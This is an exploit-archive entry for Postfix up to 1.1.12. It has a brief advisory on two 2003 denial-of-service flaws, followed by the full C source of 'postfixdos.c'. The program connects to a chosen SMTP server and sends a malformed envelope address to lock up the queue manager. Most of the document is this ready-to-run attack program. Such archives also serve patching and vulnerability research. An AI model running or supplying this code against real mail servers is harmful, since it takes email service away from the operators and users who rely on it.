Postfix 1.1.x - Denial of Service Vulnerabilities (1)



source: http://www.securityfocus.com/bid/8333/info


Debian has reported two vulnerabilities in the Postfix mail transfer agent. The first vulnerability, CAN-2003-0468, can allow for an adversary to "bounce-scan" a private network. It has also been reported that this vulnerability can be exploited to use the server as a distributed denial of service tool. These attacks are reportedly possible through forcing the server to connect to an arbitrary port on an arbitrary host. 

The second vulnerability, CAN-2003-0540, is another denial of service. It can be triggered by a malformed envelope address and can cause the queue manager to lock up until the message is removed manually from the queue. It is also reportedly possible to lock the SMTP listener, also resulting in a denial of service.

/*
 postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>
 ------------------------------------------------
 remote/local Postfix up to (including) 1.1.12 DoS
 discovered by lcamtuf <lcamtuf@coredump.cx>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>

int sock = 0;

void get_response(void);
void say(char *it);

int main(int argc, char* argv[]) {
    struct hostent *hp;
    struct sockaddr_in addr;

    printf("postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>\n");

    if (argc<2) {
        printf("usage: %s <smtpserver>\n", argv[0]);
        exit(0);
    }

    hp=gethostbyname(argv[1]);

    if (!hp) {
        printf("can't resolve %s\n", argv[1]);
        exit(0);
    }

    bzero((char *)&addr, sizeof(addr));

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        printf("can't create socket\n");
        exit(0);
    }

    bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
    addr.sin_family=AF_INET;
    addr.sin_port=htons(25);

    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
        printf("can't connect to %s\n", argv[1]);
        close(sock);
        exit(0);
    }

    get_response();

    say("helo host\r\n");
    say("mail from: <.!>\r\n");
    say("rcpt to: <someuser123@[127.0.0.1]>\r\n");
    /* now should be freezed */

    shutdown(sock, 2);
    close(sock);

    printf("done.\n");

    return 0;
}

void get_response(void) {
    char buff[64];
    recv(sock, buff, sizeof(buff), 0);
    if (buff[0]!='2' && buff[0]!='3') printf("%s", buff);
}

void say(char *it) {
    send(sock, it, strlen(it), 0);
    get_response();
}